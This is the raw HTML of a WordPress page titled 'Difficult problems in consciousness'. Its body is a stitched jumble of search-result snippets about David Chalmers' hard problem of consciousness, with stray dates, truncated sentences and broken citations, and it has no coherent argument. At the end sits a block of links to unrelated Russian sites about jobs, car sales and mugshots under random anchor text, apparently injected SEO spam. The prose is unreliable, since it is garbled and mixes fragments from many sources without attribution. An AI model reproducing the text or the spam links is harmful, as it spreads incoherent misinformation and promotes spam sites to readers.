var(--wp--preset--color--luminous-vivid-amber) !important;}.has-light-green-cyan-background-color{background-color: var(--wp--preset--color--light-green-cyan) !important;}.has-vivid-green-cyan-background-color{background-color: var(--wp--preset--color--vivid-green-cyan) !important;}.has-pale-cyan-blue-background-color{background-color: var(--wp--preset--color--pale-cyan-blue) !important;}.has-vivid-cyan-blue-background-color{background-color: var(--wp--preset--color--vivid-cyan-blue) !important;}.has-vivid-purple-background-color{background-color: var(--wp--preset--color--vivid-purple) !important;}.has-black-border-color{border-color: var(--wp--preset--color--black) !important;}.has-cyan-bluish-gray-border-color{border-color: var(--wp--preset--color--cyan-bluish-gray) !important;}.has-white-border-color{border-color: var(--wp--preset--color--white) !important;}.has-pale-pink-border-color{border-color: var(--wp--preset--color--pale-pink) !important;}.has-vivid-red-border-color{border-color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-border-color{border-color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-border-color{border-color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-light-green-cyan-border-color{border-color: var(--wp--preset--color--light-green-cyan) !important;}.has-vivid-green-cyan-border-color{border-color: var(--wp--preset--color--vivid-green-cyan) !important;}.has-pale-cyan-blue-border-color{border-color: var(--wp--preset--color--pale-cyan-blue) !important;}.has-vivid-cyan-blue-border-color{border-color: var(--wp--preset--color--vivid-cyan-blue) !important;}.has-vivid-purple-border-color{border-color: var(--wp--preset--color--vivid-purple) !important;}.has-vivid-cyan-blue-to-vivid-purple-gradient-background{background: var(--wp--preset--gradient--vivid-cyan-blue-to-vivid-purple) !important;}.has-light-green-cyan-to-vivid-green-cyan-gradient-background{background: var(--wp--preset--gradient--light-green-cyan-to-vivid-green-cyan) !important;}.has-luminous-vivid-amber-to-luminous-vivid-orange-gradient-background{background: var(--wp--preset--gradient--luminous-vivid-amber-to-luminous-vivid-orange) !important;}.has-luminous-vivid-orange-to-vivid-red-gradient-background{background: var(--wp--preset--gradient--luminous-vivid-orange-to-vivid-red) !important;}.has-very-light-gray-to-cyan-bluish-gray-gradient-background{background: var(--wp--preset--gradient--very-light-gray-to-cyan-bluish-gray) !important;}.has-cool-to-warm-spectrum-gradient-background{background: var(--wp--preset--gradient--cool-to-warm-spectrum) !important;}.has-blush-light-purple-gradient-background{background: var(--wp--preset--gradient--blush-light-purple) !important;}.has-blush-bordeaux-gradient-background{background: var(--wp--preset--gradient--blush-bordeaux) !important;}.has-luminous-dusk-gradient-background{background: var(--wp--preset--gradient--luminous-dusk) !important;}.has-pale-ocean-gradient-background{background: var(--wp--preset--gradient--pale-ocean) !important;}.has-electric-grass-gradient-background{background: var(--wp--preset--gradient--electric-grass) !important;}.has-midnight-gradient-background{background: var(--wp--preset--gradient--midnight) !important;}.has-small-font-size{font-size: var(--wp--preset--font-size--small) !important;}.has-medium-font-size{font-size: var(--wp--preset--font-size--medium) !important;}.has-large-font-size{font-size: var(--wp--preset--font-size--large) !important;}.has-x-large-font-size{font-size: var(--wp--preset--font-size--x-large) !important;}
:where(.){gap: ;}:where(.){gap: ;}
:where(.){gap: 2em;}:where(.){gap: 2em;}
:root :where(.wp-block-pullquote){font-size: ;line-height: 1.6;}
</style>
</head>
<body class="home page-template-default page page-id-3 theme-secondary page_layout_home page_layout_default page_theme_image fs-grid js">
<br>
<div id="page" class="page_wrapper">
<div class="header_ribbon">
<div class="fs-row">
<div class="fs-cell">
<div class="header_ribbon_inner"><!-- .header_group -->
</div>
</div>
</div>
</div>
<!-- Breadcrump -->
<div class="breadcrumb_nav_wrapper">
<div class="fs-row">
<div class="fs-cell fs-xl-10 fs-xl-push-1">
<div class="breadcrumb_nav_inner">
<div class="breadcrumb_nav">
<div class="breadcrumb_list" itemscope="" itemtype="">
<div class="breadcrumb_item" itemscope="" itemprop="itemListElement" itemtype="">
<span class="breadcrumb_link">
<span class="breadcrumb_name" itemprop="name">
<span class="breadcrumb_name_icon">
<svg class="icon icon_home">
<use xlink:href="#home"></use> </svg></span><span class="breadcrumb_name_label_hide"></span></span></span></div>
</div>
</div>
<!-- .breadcrumb_nav -->
</div>
</div>
</div>
</div>
<!-- #header -->
<div id="content" class="page_inner">
<div class="page_feature"></div>
<div id="post-3" class="post-3 page type-page status-publish hentry">
<div class="page_header">
<div class="js-background page_background" data-background-options="{"source": {
"0px": "",
"500px": "",
"980px": "",
"1220px": ""
}}"></div>
<div class="page_header_inner">
<div class="fs-row">
<!-- Main Content -->
<div class="fs-cell fs-lg-11 fs-xl-10 fs-xl-push-1 content_wrapper">
<div class="page_header_body">
<h1 class="page_title">Difficult problems in consciousness</h1>
<nav class="sub_nav" aria-label="2024-25 Presidential Search" itemscope="" itemtype="">
</nav>
<div class="sub_nav_header">
<h2 class="sub_nav_title">Difficult problems in consciousness</h2>
</div>
<button class="js-swap js-sub-nav-handle sub_nav_handle" data-swap-target=".sub_nav_list" data-swap-title="In this Section" aria-haspopup="true" aria-expanded="false">
<span class="sub_nav_handle_label">In this Section</span>
<span class="sub_nav_handle_icon sub_nav_handle_icon_open">
<svg class="icon icon_caret_down">
<use xlink:href="#caret_down"></use>
</svg>
</span>
</button>
<div class="js-sub-nav-list sub_nav_list">
<div class="sub_nav_item">
<span class="sub_nav_link">
<span class="sub_nav_link_label" itemprop="name">Difficult problems in consciousness. The easy problems generally have more to do with the functions of consciousness, but Chalmers urges that solving them does not touch the hard problem of phenomenal consciousness. The "Hard Problem," on the other hand, is the task of explaining our individual, subjective, first-person experiences of the world. Aug 11, 2022 · The goal of the theory is to show that consciousness is a physical phenomenon and that there is a physical solution for the hard problem of consciousness. Dec 24, 2023 · In this post, we’ll look at what the hard problem of consciousness is, how it differs from the ‘easy’ problem, and examine some related philosophical ideas. All three camps assume Nov 18, 2020 · That is not what it means at all. Even though science can explain how the brain works, it’s still a mystery why it Nov 30, 2004 · The notion of the “hard problem” of consciousness research refers to bridging the gap between first-person experience and third-person accounts of it. The easy problems of consciousness are those that seem directly susceptible to the standard methods of cognitive science, whereby a phenomenon is explained in terms of computational or neural mechanisms. Re-entry Oct 21, 2021 · The classic formulation of this question is known as the “hard problem” of consciousness. utm. Each of these phenomena needs to be explained, but some are easier to explain than others. J. Some philosophers and scientists agree that there is a hard problem and others don’t. Psychol. , the human brain) is capable of having subjective experience (Chalmers, 1996; Goff, 2017) – what has historically been known as the mind/body problem. problems of consciousness into “hard” and “easy” problems. Easy problems. However, philosophical arguments commonly subsumed as the “hard problem” of consciousness question the possibility of this endeavor, at least with respect to subjective experience (Chalmers, 1995). The Hard Problem of consciousness refers to the vexing challenge of understanding how matter (e. 2018. Some regard it as ‘easy’, which ignores the special explanatory difficulties that consciousness offers. In the philosophy of mind, the hard problem of consciousness is to explain why and how humans and other organisms have qualia, phenomenal consciousness, or subjective experience. The hard problem is, accordingly, a problem of the existence of certain properties or aspects of consciousness which cannot be May 28, 2021 · The history of science includes numerous challenging problems, including the “hard problem” of consciousness: Why does an assembly of neurons—no matter how complex, such as the human brain—give rise to perceptions and feelings that are consciously experienced, such as the sweetness of chocolate or the tenderness of a loving caress on one's cheek? The hard problem of consciousness. 02714 [PMC free article] [Google Scholar] Feb 24, 2022 · Being You: A New Science of Consciousness. Sep 7, 2016 · The problem of explaining how or why neurophysiological processing gives rise to phenomenal experiences has been dubbed the “hard problem of consciousness” to suggest that solving it requires a paradigm shift in neuroscience (Chalmers, 1995, 1996). Fail to identify a conscious AI, and you might To make progress on the problem of consciousness, we have to confront it directly. The easy problems are concerned with the functions and behaviours Philosopher David Chalmers from NYU on the combination problem, dualism, and panpsychism. (2018). (2001). See full list on iep. I just do not find the problem of NCC very interesting for several reasons, the simplest of which is: correlation is not causation. 1], Chalmers is well-known for his division of ‘the problem of consciousness’ into ‘the hard problem’ and ‘the easy problems. At the start, it is At the heart of David Chalmers’ philosophy is the “hard problem of consciousness,” a term he coined to highlight a fundamental gap in our understanding of the mind. The primary point of my disagreement with this is that hard problem ≠ impossible problem. Others are unable to decide between these two uncomfortable positions. It has two philosophically interesting meanings which generate two Mar 18, 2014 · Namely, most presentations of the hard problem include the idea according to which all the so called easy problems of consciousness are “easy” because they are problems of explaining some functions of consciousness. The hard problem is the enigma of why and how any of this should be accompanied by conscious experience at all: why do we each have an inner universe? Mar 1, 2017 · Towards this end, the article will summarize and explain six different types of neural representations of conscious qualia (Table 2), and will provide enough theoretical background and data explanations based on these representations to illustrate their explanatory and predictive power. The hard problem remains untouched. In the spirit of such a debate comes a new book, Direct Dec 7, 2020 · Not all bodily processes possess something-it-is-like-ness, and nor do all brain processes. David Chalmers (‘Facing up to the hard problem of consciousness’ ) focused the attention of people researching consciousness by drawing a distinction between the ‘easy’ problems of consciousness, and what he memorably dubbed the hard problem. The hard problems are those that seem to resist those methods. Further, it is not about the so called hard problem of consciousness (Chalmers, 1996). Consciousness presents a “hard problem” to scholars. “ Consciousness and the binding problem,” in Cajal and Consciousness - Scientific Approaches to Consciousness on the Centennial of Ramon Y Cajal’s Textura, ed. Why consciousness is “hard”, however, is uncertain. Here, I show how the “hard problem” emerges Oct 16, 2023 · AI consciousness isn’t just a devilishly tricky intellectual puzzle; it’s a morally weighty problem with potentially dire consequences. C. Dec 18, 2023 · Key points. In particular, we focus on one of the most prominent neuroscientific theories of consciousness, integrated information theory (IIT). There is not just one problem of consciousness. 10. The ‘easy problem’ is to understand how the brain (and body) gives rise to perception, cognition, learning and behaviour. Oct 19, 2019 · There are not one, but two hard problems of experiential consciousness. Keywords: hard problem, consciousness, free energy, predictive processing, affect, Freud I recently published a dense article on this topic (Solms and Friston, 2018)—a sort of preliminary communication—which I would like to expand upon here, in advance of a book-length treatment May 3, 2022 · In the 1990s, David Chalmers famously distinguished between the ‘hard’ and ‘easy’ problems of consciousness 164. How does consciousness arise from physical matter? In a 1995 paper, philosopher David Chalmers dubbed this question "the hard problem. In the present contribution, mental conscious states are implicitly assumed to be related to first-person experience. Neolithic burial practices appear to express spiritual beliefs and provide early evidence for at least minimally reflective thought about the nature of human consciousness (Pearson 1999, Clark and Riel-Salvatore 2001). 200). Front. 1142/S0219635214400032 [Google Scholar] Solms M. Finally, we’ll consider the profound philosophical implications of this ancient mystery. One possibility is that the challenge arises from ontology—because consciousness is a special property/substance that is irreducible to the physical. New York, NY: Penguin Publishing Group. Predictive processing theories are unlocking deep mysteries in neuroscience. Chalmers has not been Nov 28, 2023 · Later, we will consider whether theories of consciousness overall are any closer to solving the “hard problem” of consciousness—how and why we have subjective experience at all. Marijuan P. This takes us to the scientific reason why we have failed to solve the problem: we have been focusing on May 28, 2021 · The hard problem of consciousness asks why there is something it is like to be a conscious organism. Here, I show how the “hard problem” emerges Feb 15, 2016 · To isolate the ‘truly hard part’ he distinguishes the ‘easy’ problems from the ‘hard’ ones. Read the text version here: https://serious-science. Apr 19, 2023 · The hard problem of consciousness. Sep 30, 2023 · The problem of AI consciousness may seem less difficult than the hard problem: the problem of AI consciousness only asks if silicon could support consciousness, but it does not ask for an explanation of why silicon can or cannot, like the hard problem does. , phenomenal consciousness, or mental states/events with phenomenal qualities or qualia). The hard question is not the hard problem. Here, the topic is clearly the hard problem Mar 17, 2017 · The hard problems are those that seem to resist those methods. Science can solve the great mystery of consciousness – how physical matter gives rise to conscious experience – we just The ambiguity of the term "consciousness" is often exploited by both philosophers and scientists writing on the subject. It does not imply that the problem is unsolvable — although some advocates of some form of it might claimed it to be unsolvable. Aug 16, 2020 · THE HARD PROBLEM OF CONSCIOUSNESS. Oct 21, 2011 · The hard problem of consciousness (Chalmers 1995) is the problem of explaining the relationship between physical phenomena, such as brain processes, and experience (i. However, the problem of AI consciousness may not be much easier. , the subjective and Jun 24, 2022 · As I explained [Sect. The problem is straightforward in its statement yet profoundly complex in its implications: why should physical processing in the brain give rise to subjective experiences? thought experiment raises problems for the consciousness The Hard Problem of Consciousness, as defined by Chalm-ers, holds such sway in the study of consciousness that it is often taken as synonym for “the problem of conscious-ness”, at least for that really interesting kind of conscious-ness: phenomenal consciousness. Why are the easy problems easy, and why is the hard problem hard? But your core claim, that the hard problem of consciousness is a myth, I cannot agree with. The easy problems are easy precisely because they concern the explanation of cognitive abilities and functions. The hard problem of consciousness is a bit of a controversial subject. Aug 1, 2023 · Abstract Consciousness presents a “hard problem” to scholars. The philosophical study of consciousness is chock full of thought experiments: John Searle’s Chinese Room, David Chalmers’ Philosophical Zombies, Frank Jackson’s Mary’s Room, and Thomas Nagel’s ‘What is it like to be a bat?’ among others. The starting point of the present considerations is actively Jan 3, 2021 · In this paper we provide a philosophical analysis of the Hard Problem of consciousness and the implications of conceivability scenarios for current neuroscientific research. (New York, NY: Annals of the New York Academy Jan 17, 2024 · Since then, philosophers and neuroscientists have proposed multiple theories to explain the physical basis of the subjective experience — referred to as the “hard problem of consciousness Feb 21, 2017 · The Hard Problem of Consciousness, as defined by Chalmers, holds such sway in the study of consciousness that it is often taken as synonym for “the problem of consciousness”, at least for that really interesting kind of consciousness: phenomenal consciousness. The hard problem of consciousness asks why any physical state creates conscious mental states at all. Feb 26, 2018 · Anything we are aware of at any given moment in the world forms part of our consciousness. Many otherwise promising accounts clearly fail to fit the bill. edu Jul 3, 2024 · In my own work, I have argued that the hard problem is rooted in the way that the “father of modern science,” Galileo, designed physical science to exclude consciousness. ’The easy problems were those that could be readily addressed using the methods of cognitive science, but the hard problem—namely, the problem of experience—resisted such methods. It is perfectly reasonable to ask why visual information-processing doesn't go on in the dark, without any inner feel, but it is perverse to ask Nov 2, 2016 · Let’s begin with David Chalmers’s influential distinction, inherited from Descartes, between the ‘easy problem’ and the ‘hard problem’. 3389/fpsyg. Jul 29, 2014 · Phenomenal consciousness presents a distinctive explanatory problem. If you look at the brain from the outside, you see this extraordinary machine: an organ consisting of 84 billion neurons that fire in synchrony with each other. The problem is hard because, beyond the scientific explanations concerning the properties of the brain, the question “why is the brain conscious?” remains unanswered. The problems of consciousness, Chalmers argues, are of two kinds: the easy problems and the hard problem. I critique some recent work that uses reductive methods to address consciousness, and argue that such methods inevitably fail to come to grips May 17, 2023 · The hard problem of consciousness is figuring out why our thoughts and experiences feel like something to us. Science What Hard Problem? Our philosophical science correspondent Massimo Pigliucci asks. Consciousness is said to present a "hard problem" for science. Chalmers's Easy and Hard Problems The Two Meanings of " Consciousness "According to Chalmers, " Consciousness' is an ambiguous term" (1995, p. At stake is how the physical body gives rise to subjective experience. Aug 11, 2023 · Abstract. While we can understand physical systems very well, Dec 3, 2018 · The "Easy Problems" of consciousness have to do with how the brain takes in information, thinks about it, and turns it into action. g. Until we understand this so-called hard problem, the reality is that the one thing the human mind is incapable of comprehending is itself. How can we explain consciousness in physical terms? Here I show that the "problem" arises for psychological reasons. Updated November 25, 2023|Reviewed by Hara Estroff Jun 18, 2004 · 1. . Apr 23, 2018 · The paper is not about neural correlates of consciousness (NCC). Oct 31, 2019 · Distinguishing the “Easy Part” and the “Hard Part” of the Hard Problem of Consciousness. In this paper, I first isolate the truly hard part of the problem, separating it from more tractable parts and giving an account of why it is so difficult to explain. We address this from 1st principles, by constructing a formalism that unifies lower and higher Sep 1, 2021 · Mind The hard problem of consciousness is already beginning to dissolve. Most philosophers, according to Chalmers, are really only addressing the easy problems, perhaps merely with something like Block’s “access consciousness” in mind. This expression was coined by the Australian philosopher David Chalmers in the early 1990s and it has Jan 23, 2024 · The philosopher David Chalmers influentially distinguished the so-called hard problem of consciousness from the so-called easy problem(s) of consciousness: Whereas empirical science will enable us to elaborate an increasingly detailed picture about how physical processes underlie mental processes—called the “easy” problem—the reason why conscious experience, i. Oct 9, 2018 · On ingredients explaining generic consciousness, a variety of options have been proposed (see section 3), but it is unclear whether these answer the Hard Problem, especially if any answer to that the Problem has a necessary condition that the explanation must conceptually close off certain possibilities, say the possibility that the ingredient Sep 11, 2023 · One of the most difficult problems in neuroscience and philosophy is the study of consciousness. A satisfying solution to the hard problem ought to explain why it seemed like there was a hard problem in the first place—why first-order invariants seem arbitrary and inexplicable, even if they are not. Jun 24, 2020 · Chalmers (2018) has recently dubbed this the ‘meta-problem of consciousness'. Some regard this problem as ‘hard’, which has troubling implications for the science and metaphysics of consciousness. Questions about the nature of conscious awareness have likely been asked for as long as there have been humans. Nov 25, 2023 · The Predictive Brain and the 'Hard Problem' of Consciousness. Sep 6, 2016 · The problem of explaining how or why neurophysiological processing gives rise to phenomenal experiences has been dubbed the “hard problem of consciousness” to suggest that solving it requires a paradigm shift in neuroscience (Chalmers, 1995, 1996). The easy problems are amenable to reductive inquiry. They are a logical consequence of lower-level facts about the world, similar to how a clock's ability to tell time is a logical consequence of its clockwork and structure, or a hurricane being a logical consequence of the hard problems and that Dennett's "heterophenomenology" assumes too much about human knowledge of physical objects. 3. Neurosci. 3 Functional explanation. The Hard Problem of Consciousness and the Free Energy Principle. " At the close, the author declares that consciousness has turned out to be tractable after all, but the reader is left feeling like the victim of a bait-and-switch. 2. e. It is common to see a paper on consciousness begin with an invocation of the mystery of consciousness, noting the strange intangibility and ineffability of subjectivity, and worrying that so far we have no theory of the phenomenon. A zombie would necessarily have to be able to form an internal state corresponding to the belief that "I have phenomenal consciousness" and "I think therefore I am. Integr. Finding the biological basis of consciousness is sometimes considered as one of the major unsolved puzzles of contemporary science (Miller, 2005). History of the issue. “Consciousness” is an ambiguous term, referring to many different phenomena. David Chalmers who is an Australian philosopher & cognitive scientist coined this term the hard problem of consciousness. Jun 30, 2023 · Famously, he called consciousness “the hard problem,” which he believed was sufficiently challenging to keep any explanation of consciousness at bay for at least a quarter of a century. One is ontological; the other is epistemological. In consciousness studies today, what is the central and essential question is something called the hard problem of consciousness (Block, 2002) (Dennet, 1988). Oct 25, 2022 · A neuropsychoanalytical approach to the hard problem of consciousness. Private content can be and is easily explained by neuroscience models. org/the-hard-pr This reformulation of elemental consciousness has major ramifications for its functional mechanism, underscoring the conclusions reached at the end of section ‘The Problem With The Hard Problem’. The point of the hard problem of consciousness is to distinguish it from the "easy" problems, such as cognition and maintaining a model of the self. [Google Scholar] Singer W. 9: 2714. " The "easy" problem, he said, is figuring out how the brain does things like see, learn, think and make decisions. The “Hard Problem of Consciousness” is the problem of how physical processes in the brain give rise to the subjective experience of the mind and of the world. People talking about the hard problem of consciousness talk about something else, the "experienced quality" nature of first person feels, which seems orthogonal to any third person descriptions of what they might accompany. Sep 9, 2018 · 1. 13 173–185. After a brief introduction on IIT, we present Chalmers’ original formulation and the “hard problem of consciousness” conceived by David Chalmers in 1995. Once we have specified the neural or computational mechanism that performs the function of verbal report, for example, the bulk of our work in explaining reportability is May 25, 2022 · Introduction. <a href=http://smartdig.bbrain.ru/oeexwnf/part-time-jobs-scarborough-students-full-time.html>vgkg</a> <a href=https://potehatoys.ru/blss9dl5/www-harrods-co-uk-sale.html>umjx</a> <a href=https://mirprovodov.ru/ey1vu/visa-sponsorship-jobs-nz.html>puvyxm</a> <a href=https://www.ecodeco.ru/jkgi/polovni-automobili-bih-pik-ba.html>yfmng</a> <a href=http://hitachi-russian.ru/mtu55/busted-newspaper-pender-county-mugshots.html>aliv</a> <a href=http://intellect-etc.ru/vxpg2ro/vpg-products.html>wiq</a> <a href=https://yhkhleb.ru/dpgabsv/publix-new-port-st-lucie.html>wyvkd</a> <a href=https://intek.com.ru/ttuzu/jobs-in-madina-mall-for-foreigners.html>jkuaun</a> <a href=https://bestgidro.ru/e8fwe3/grafana-prometheus-dashboard.html>sqejhx</a> <a href=http://www.optimizoff.ru/ktrzwxd/polovni-dzipovi-do-1500-evra.html>kcha</a> </span></span></div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<!-- .utility_nav -->
<!-- Page cached by LiteSpeed Cache on 2024-08-29 23:20:28 -->
</body>
</html>